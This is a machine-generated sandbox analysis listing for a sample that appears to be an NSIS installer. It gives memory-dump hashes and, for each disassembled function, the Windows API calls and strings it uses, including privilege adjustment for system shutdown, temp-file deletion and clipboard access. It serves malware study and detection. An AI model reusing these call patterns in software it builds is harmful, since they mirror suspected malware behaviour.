Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc4e993d6c7ec31f758457a28117058096ca54c5279d1453e62f2ca6dc0f22e
Instruction ID: 752279d52ae9fd1b074292410d55d0e3e418f37d636df9b123bf507a982e429d
Opcode Fuzzy Hash: 4cc4e993d6c7ec31f758457a28117058096ca54c5279d1453e62f2ca6dc0f22e
Instruction Fuzzy Hash: BE01813A7001108FEB14996DD454B1F67EADBC97A4F108839F50BCB384DE22EC024396

Function 0011A6B8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: debf13cb887c62f578bf84caab6110569e8a4631c655b9dd720fb9cd36abacfd
Instruction ID: ca6b613047a5a51a23894ab62f9242df347499b76157d1fc9162339710c8ee32
Opcode Fuzzy Hash: debf13cb887c62f578bf84caab6110569e8a4631c655b9dd720fb9cd36abacfd
Instruction Fuzzy Hash: 8601C035A002048BDB14DF94D98478ABBA1EF80311F958665D8086F29ADB71EE46CB91

Function 389CA3A8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c36b1dd423b2ced20d43183dbebbbd4bf9615fd532d6e39713148de5ab79b4
Instruction ID: 6d5f56d9d48ebb477ceefc6f28e1f1f5efac6c8e2a12b8081bc2b0efd06b2dfe
Opcode Fuzzy Hash: a8c36b1dd423b2ced20d43183dbebbbd4bf9615fd532d6e39713148de5ab79b4
Instruction Fuzzy Hash: 7401A475B101148FE714D62CD865B1F73EAEB89354F208839F20ADB344EE26EC024781

Function 0011F8B0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a1b27bc405f4920027bb08960375a5cded931dd84f7c58d2047ae1e53e1cb38
Instruction ID: 1ed358d735a1b72932ca147db73dcf12824d2bc6c6189291b5359dd8df041f5b
Opcode Fuzzy Hash: 5a1b27bc405f4920027bb08960375a5cded931dd84f7c58d2047ae1e53e1cb38
Instruction Fuzzy Hash: E0F02E21B093446FE3262678541076E3FB66FC6155B160077E501DB296DE645C4743A2

Function 0011F2F0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415808d33d56122f72ba93c50ada7c13bc832fd655a9939e2aa531c3b296e825
Instruction ID: a20d8e8b1ff28e7805d3e64dfbe3865216c8d84c0fceaf12f16be6e961bc7ffd
Opcode Fuzzy Hash: 415808d33d56122f72ba93c50ada7c13bc832fd655a9939e2aa531c3b296e825
Instruction Fuzzy Hash: 77F05C31B0420097E32826BD581077F76EABFC5392F11443BF101DB240DF60AC0712E2

Function 389CAFB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acd28b681e0ff94730da541c359aafbffb6a99d834bbee9c242f43fa517c3b0a
Instruction ID: 74572f54d2c69700513b536e69f8612808304fa25770f146e555a47913d9ce7a
Opcode Fuzzy Hash: acd28b681e0ff94730da541c359aafbffb6a99d834bbee9c242f43fa517c3b0a
Instruction Fuzzy Hash: 19F0E5BAE00218CBEF2085A9D84478EBBFDE7453B5F10443BE91AE7340D672AC458782

Function 00117EB0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c58ed253bff60aa161ca5486cddb76e77fdc654bafa2529748f20d1426b6278
Instruction ID: bd511159a9c9d6dfe449eefa497f9aa193a3122ea4dfb993cc54490bb2145312
Opcode Fuzzy Hash: 9c58ed253bff60aa161ca5486cddb76e77fdc654bafa2529748f20d1426b6278
Instruction Fuzzy Hash: 7CF0B235B40204CFC704DB78D9A8BAC77B2EF88316F5140A8E5069B7A4DB35AD42CB41

Function 389C6519 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb53598b9875686219feb048e0c7cc9fabc1c1d816c7acecce4753b14ef5d0d
Instruction ID: c2254a71250c6f801bf36a4fbdbea6ef29ece106107adfa21be606d42a264e37
Opcode Fuzzy Hash: 3bb53598b9875686219feb048e0c7cc9fabc1c1d816c7acecce4753b14ef5d0d
Instruction Fuzzy Hash: EDE08676E18288DBEB01CEB0864939FB7B8DB46208F3589FBD408DB141E137CA02D741

Function 0011E6E8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82c574fb3a2582f680a98555ed578c5c38aadbef4a76f7d4ebcd08417daa1226
Instruction ID: 23fc44b9887ca7f807a12ea137ec3a1840bf18c7d7d1f824ee9483fa7aab723a
Opcode Fuzzy Hash: 82c574fb3a2582f680a98555ed578c5c38aadbef4a76f7d4ebcd08417daa1226
Instruction Fuzzy Hash: E5D02B229083044FF32D4654751836137D21B04310F0984A7F84DCB581DB144C804380

Function 0011E6F8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2494911777.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_110000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a525e7d351cc6d846f736f0cfdf65f1139db6334635329c46f7079e25c03271a
Instruction ID: 98cc20935a8d2ffad7b0cb674fc51b3d1e069b4c8683371ae90908b959394b42
Opcode Fuzzy Hash: a525e7d351cc6d846f736f0cfdf65f1139db6334635329c46f7079e25c03271a
Instruction Fuzzy Hash: 74D0A735605714DBE338DB99E104693B7DBBB48724B85842EF48783A80CB60FC418BC0

Non-executed Functions

Function 00403123 Relevance: 75.5, APIs: 31, Strings: 12, Instructions: 281stringfilecomCOMMON

Download Yara Rule

APIs

Part of subcall function 004060A5: GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
Part of subcall function 004060A5: GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403140
#17.COMCTL32(00000007,00000009), ref: 00403162
OleInitialize.OLE32(00000000), ref: 00403169
SHGetFileInfoA.SHELL32(0079D500,00000000,?,00000160,00000000), ref: 00403185
GetCommandLineA.KERNEL32(007A1740,NSIS Error), ref: 0040319A
GetModuleHandleA.KERNEL32(00000000,007A8000,00000000), ref: 004031AD
CharNextA.USER32(00000000,007A8000,00000020), ref: 004031D8
GetTempPathA.KERNEL32(00000400,007A9400,00000000,00000020), ref: 004032D5
GetWindowsDirectoryA.KERNEL32(007A9400,000003FB,?,007A8000,00000000,?,?,00000160), ref: 004032E6
lstrcatA.KERNEL32(007A9400,\Temp,?,007A8000,00000000,?,?,00000160), ref: 004032F2
GetTempPathA.KERNEL32(000003FC,007A9400,007A9400,\Temp,?,007A8000,00000000,?,?,00000160), ref: 00403306
lstrcatA.KERNEL32(007A9400,Low,?,007A8000,00000000,?,?,00000160), ref: 0040330E
SetEnvironmentVariableA.KERNEL32(TEMP,007A9400,007A9400,Low,?,007A8000,00000000,?,?,00000160), ref: 0040331F
SetEnvironmentVariableA.KERNEL32(TMP,007A9400,?,007A8000,00000000,?,?,00000160), ref: 00403327
DeleteFileA.KERNEL32(007A9000), ref: 0040333B
OleUninitialize.OLE32(?,?,007A8000,00000000,?,?,00000160), ref: 004033E9
ExitProcess.KERNEL32 ref: 0040340A
lstrcatA.KERNEL32(007A9400,~nsu,007A8000,?,?,?,007A8000,00000000,?,?,00000160), ref: 0040341D
lstrcatA.KERNEL32(007A9400,0040914C,007A9400,~nsu,007A8000,?,?,?,007A8000,00000000,?,?,00000160), ref: 0040342C
lstrcatA.KERNEL32(007A9400,.tmp,007A9400,~nsu,007A8000,?,?,?,007A8000,00000000,?,?,00000160), ref: 00403437
lstrcmpiA.KERNEL32(007A9400,007A8C00), ref: 00403443
SetCurrentDirectoryA.KERNEL32(007A9400,007A9400,?,?,?,007A8000,00000000,?,?,00000160), ref: 0040345F
DeleteFileA.KERNEL32(0079D100,0079D100,?,007A3000,?,?,?,?,007A8000,00000000,?,?,00000160), ref: 004034B8
CopyFileA.KERNEL32(007A9C00,0079D100,00000001), ref: 004034CC
CloseHandle.KERNEL32(00000000,0079D100,0079D100,?,0079D100,?,?,?,?,007A8000,00000000,?,?,00000160), ref: 004034F9
GetCurrentProcess.KERNEL32(00000028,?,007A8000,00000000,?,?,00000160), ref: 00403527
OpenProcessToken.ADVAPI32(00000000,?,?,00000160), ref: 0040352E
LookupPrivilegeValueA.ADVAPI32(?,SeShutdownPrivilege,?), ref: 00403546
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,?,?,?,SeShutdownPrivilege,?,?,?,00000160), ref: 00403565
ExitWindowsEx.USER32(00000002,80040002), ref: 00403589
ExitProcess.KERNEL32 ref: 004035AC

Part of subcall function 004057A9: CharNextA.USER32(?,004031D7,007A8000,00000020), ref: 004057B6

Strings

\Temp, xrefs: 004032EC
NSIS Error, xrefs: 0040318B
~nsu, xrefs: 00403415
TMP, xrefs: 00403322
TEMP, xrefs: 0040331A
UXTHEME, xrefs: 00403134, 00403139, 0040313F
S|/, xrefs: 00403123
Error launching installer, xrefs: 004033A1
.tmp, xrefs: 00403431
", xrefs: 004031C3
Low, xrefs: 00403308
SeShutdownPrivilege, xrefs: 00403540

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CharCurrentDeleteDirectoryEnvironmentModuleNextPathTempTokenVariableWindows$AddressAdjustCloseCommandCopyInfoInitializeLineLookupOpenPrivilegePrivilegesProcUninitializeValuelstrcmpilstrlen
String ID: "$.tmp$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$S|/$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2120231667-3416784282
Opcode ID: 31bcb9ab88596e7618d238e463a0a444f46f192003f7e4199dddc08b282c5ed6
Instruction ID: 12dd7fb0a257894d9827c624f4711e14ee4955ca2babc5f6c7353189b25a6320
Opcode Fuzzy Hash: 31bcb9ab88596e7618d238e463a0a444f46f192003f7e4199dddc08b282c5ed6
Instruction Fuzzy Hash: 0391B470604241AAE7117F719D89A6F3EACEF8574AF00453FF541B61E2CB7C9A018B2E

Function 004048A2 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004048BA
GetDlgItem.USER32(?,00000408), ref: 004048C5
GlobalAlloc.KERNEL32(00000040,?), ref: 0040490F
LoadBitmapA.USER32(0000006E), ref: 00404922
SetWindowLongA.USER32(?,000000FC,00404E99), ref: 0040493B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040494F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404961
SendMessageA.USER32(?,00001109,00000002), ref: 00404977
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404983
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404995
DeleteObject.GDI32(00000000), ref: 00404998
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004049C3
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004049CF
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A64
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A8F
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404AA3
GetWindowLongA.USER32(?,000000F0), ref: 00404AD2
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404AE0
ShowWindow.USER32(?,00000005), ref: 00404AF1
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BEE
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C53
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C68
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C8C
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404CAC
ImageList_Destroy.COMCTL32(?), ref: 00404CC1
GlobalFree.KERNEL32(?), ref: 00404CD1
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D4A
SendMessageA.USER32(?,00001102,?,?), ref: 00404DF3
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404E02
InvalidateRect.USER32(?,00000000,00000001), ref: 00404E22
ShowWindow.USER32(?,00000000), ref: 00404E70
GetDlgItem.USER32(?,000003FE), ref: 00404E7B
ShowWindow.USER32(00000000), ref: 00404E82

Strings

N, xrefs: 00404B2C
M, xrefs: 00404A4B
, xrefs: 00404E5A

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: b9002b5fa49d2a5998b6b1fb92d706362e2c576ea186a6eb5b486c85a42f0063
Instruction ID: 76d2e208bb82396193868b8099a6daa05122b73eb358a4a137ee08f8801950ae
Opcode Fuzzy Hash: b9002b5fa49d2a5998b6b1fb92d706362e2c576ea186a6eb5b486c85a42f0063
Instruction Fuzzy Hash: F1026CB0900209AFEB14DF94DD85AAE7BB9FB84314F10813AF610BA2E1D7789D51CF58

Function 389C7740 Relevance: 15.5, Strings: 12, Instructions: 468COMMON

Download Yara Rule

Strings

$q, xrefs: 389C7880
$q, xrefs: 389C78A5
$q, xrefs: 389C7C31
$q, xrefs: 389C78B1
$q, xrefs: 389C7CD0
$q, xrefs: 389C7CF2
,F]5, xrefs: 389C78F1
F]5, xrefs: 389C78DF
$q, xrefs: 389C7874
$q, xrefs: 389C7CDC
$q, xrefs: 389C7C3D
$q, xrefs: 389C7CE6

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: ,F]5$$q$$q$$q$$q$$q$$q$$q$$q$$q$$q$F]5
API String ID: 0-2547322775
Opcode ID: 26dd9311c70d38d616cc43b6f96bce9233c26b4ef6ccc373e77c93b5905f465d
Instruction ID: df0733cec5552b272c93ff199a87dffb7db386f3272455127626c7b62a650c62
Opcode Fuzzy Hash: 26dd9311c70d38d616cc43b6f96bce9233c26b4ef6ccc373e77c93b5905f465d
Instruction Fuzzy Hash: E1122874A00319DFDB24DB69DC50B9DB7F2BF88304F2085A9D50AAB355DB31AD82CB81

Function 004055AE Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?), ref: 004055D7
lstrcatA.KERNEL32(0079F548,\*.*,0079F548,?,?), ref: 0040561F
lstrcatA.KERNEL32(?,00409014,?,0079F548,?,?), ref: 00405640
lstrlenA.KERNEL32(?,?,00409014,?,0079F548,?,?), ref: 00405646
FindFirstFileA.KERNEL32(0079F548,?,?,?,00409014,?,0079F548,?,?), ref: 00405657
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405704
FindClose.KERNEL32(00000000), ref: 00405715

Strings

\*.*, xrefs: 00405619

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 3d14ed8e826454d0a7050cb6646e006fb12ceb621ce4d71a80f81d1c8044329c
Instruction ID: 15aabf9ae26d8a027305d4c4078bc37ad96aa8a5c182164a2950041f9cf2f42d
Opcode Fuzzy Hash: 3d14ed8e826454d0a7050cb6646e006fb12ceb621ce4d71a80f81d1c8044329c
Instruction Fuzzy Hash: C651DF30800A04BADB21AB618C45BBF7A78DF42355F54857BF449B61D2D73C4981EE6E

Function 00405063 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004050C2
GetDlgItem.USER32(?,000003EE), ref: 004050D1
GetClientRect.USER32(?,?), ref: 0040510E
GetSystemMetrics.USER32(00000002), ref: 00405115
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405136
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405147
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040515A
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405168
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040517B
ShowWindow.USER32(00000000,?,0000001B,?), ref: 0040519D
ShowWindow.USER32(?,00000008), ref: 004051B1
GetDlgItem.USER32(?,000003EC), ref: 004051D2
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051E2
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051FB
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405207
GetDlgItem.USER32(?,000003F8), ref: 004050E0

Part of subcall function 00403F26: SendMessageA.USER32(00000028,?,00000001,00403D57), ref: 00403F34

GetDlgItem.USER32(?,000003EC), ref: 00405223
CreateThread.KERNEL32(00000000,00000000,Function_00004FF7,00000000), ref: 00405231
CloseHandle.KERNEL32(00000000), ref: 00405238
ShowWindow.USER32(00000000), ref: 0040525B
ShowWindow.USER32(?,00000008), ref: 00405262
ShowWindow.USER32(00000008), ref: 004052A8
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052DC
CreatePopupMenu.USER32 ref: 004052ED
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405302
GetWindowRect.USER32(?,000000FF), ref: 00405322
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040533B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405377
OpenClipboard.USER32(00000000), ref: 00405387
EmptyClipboard.USER32 ref: 0040538D
GlobalAlloc.KERNEL32(00000042,?), ref: 00405396
GlobalLock.KERNEL32(00000000), ref: 004053A0
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053B4
GlobalUnlock.KERNEL32(00000000), ref: 004053CD
SetClipboardData.USER32(00000001,00000000), ref: 004053D8
CloseClipboard.USER32 ref: 004053DE

Strings

@y, xrefs: 00405353

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: @y
API String ID: 590372296-2793234042
Opcode ID: c8f9996b3b12a23518fe7de3944cb1f319bc0aff7a081ead76a17017af42c36f
Instruction ID: 0ac8b7377d144d48f6dc293dc42051cc71820a332a9e268c47e7b227606d372d
Opcode Fuzzy Hash: c8f9996b3b12a23518fe7de3944cb1f319bc0aff7a081ead76a17017af42c36f
Instruction Fuzzy Hash: 2CA15B70900248BFEB119FA0DD89EAE7F79FB08355F10406AFA05B61A0C7795E41DF69

Function 00403A1E Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A5A
ShowWindow.USER32(?), ref: 00403A77
DestroyWindow.USER32 ref: 00403A8B
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403AA7
GetDlgItem.USER32(?,?), ref: 00403AC8
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403ADC
IsWindowEnabled.USER32(00000000), ref: 00403AE3
GetDlgItem.USER32(?,00000001), ref: 00403B91
GetDlgItem.USER32(?,00000002), ref: 00403B9B
SetClassLongA.USER32(?,000000F2,?), ref: 00403BB5
SendMessageA.USER32(0000040F,00000000,00000001), ref: 00403C06
GetDlgItem.USER32(?,00000003), ref: 00403CAC
ShowWindow.USER32(00000000,?), ref: 00403CCD
EnableWindow.USER32(?,?), ref: 00403CDF
EnableWindow.USER32(?,?), ref: 00403CFA
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D10
EnableMenuItem.USER32(00000000), ref: 00403D17
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D2F
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D42
lstrlenA.KERNEL32(0079E540,?,0079E540,007A1740), ref: 00403D6B
SetWindowTextA.USER32(?,0079E540), ref: 00403D7A
ShowWindow.USER32(?,0000000A), ref: 00403EAE

Strings

@y, xrefs: 00403D57

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: @y
API String ID: 184305955-2793234042
Opcode ID: 7df86cdf8d4c2e2bf014ccc18f35ae8683bb7fd218937165e1ce01e53578c62c
Instruction ID: 604a4885fc931abc1044a41a4cf0f2958d917e977c7d56f4e50accb35e18e33b
Opcode Fuzzy Hash: 7df86cdf8d4c2e2bf014ccc18f35ae8683bb7fd218937165e1ce01e53578c62c
Instruction Fuzzy Hash: F1C1AE31904205ABEB216F61ED85E2B3EACEB4574AF00453EF501B11F1C739A942DB5E

Function 0040368C Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004060A5: GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
Part of subcall function 004060A5: GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

lstrcatA.KERNEL32(007A9000,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,771B3410,007A9400,007A8000), ref: 00403707
lstrlenA.KERNEL32(007A0EE0,007A8400,?,?,007A0EE0,00000000,007A8400,007A9000,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,771B3410), ref: 0040377C
lstrcmpiA.KERNEL32(?,.exe), ref: 0040378F
GetFileAttributesA.KERNEL32(007A0EE0), ref: 0040379A
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,007A8400), ref: 004037E3

Part of subcall function 00405C6A: wsprintfA.USER32 ref: 00405C77

RegisterClassA.USER32(007A16E0), ref: 00403820
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403838
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 0040386D
ShowWindow.USER32(00000005), ref: 004038A3
GetClassInfoA.USER32(00000000,RichEdit20A,007A16E0), ref: 004038CF
GetClassInfoA.USER32(00000000,RichEdit,007A16E0), ref: 004038DC
RegisterClassA.USER32(007A16E0), ref: 004038E5
DialogBoxParamA.USER32(?,00000000,00403A1E,00000000), ref: 00403904

Strings

.exe, xrefs: 00403789
RichEd20, xrefs: 004038A9
RichEdit, xrefs: 004038D6
.DEFAULT\Control Panel\International, xrefs: 004036F2
RichEd32, xrefs: 004038B7
RichEdit20A, xrefs: 004038C7, 004038CD
_Nb, xrefs: 004037FF, 00403867
Control Panel\Desktop\ResourceLocale, xrefs: 004036C0
@y, xrefs: 004036B8

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@y$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-30135874
Opcode ID: cd40d4b1bdf5536e942b5a6c136c47e6f5008c8bfebe6efb88de06da33d0e514
Instruction ID: b6748c6733e3bb55aa357910a2c4fdec813f4d760fd6ac6bc3454eeade69f907
Opcode Fuzzy Hash: cd40d4b1bdf5536e942b5a6c136c47e6f5008c8bfebe6efb88de06da33d0e514
Instruction Fuzzy Hash: D06106B4504244AEE710AF659C45F3B3AACEB85789F00857FF900B22E1D77CAD019B2D

Function 0040403A Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

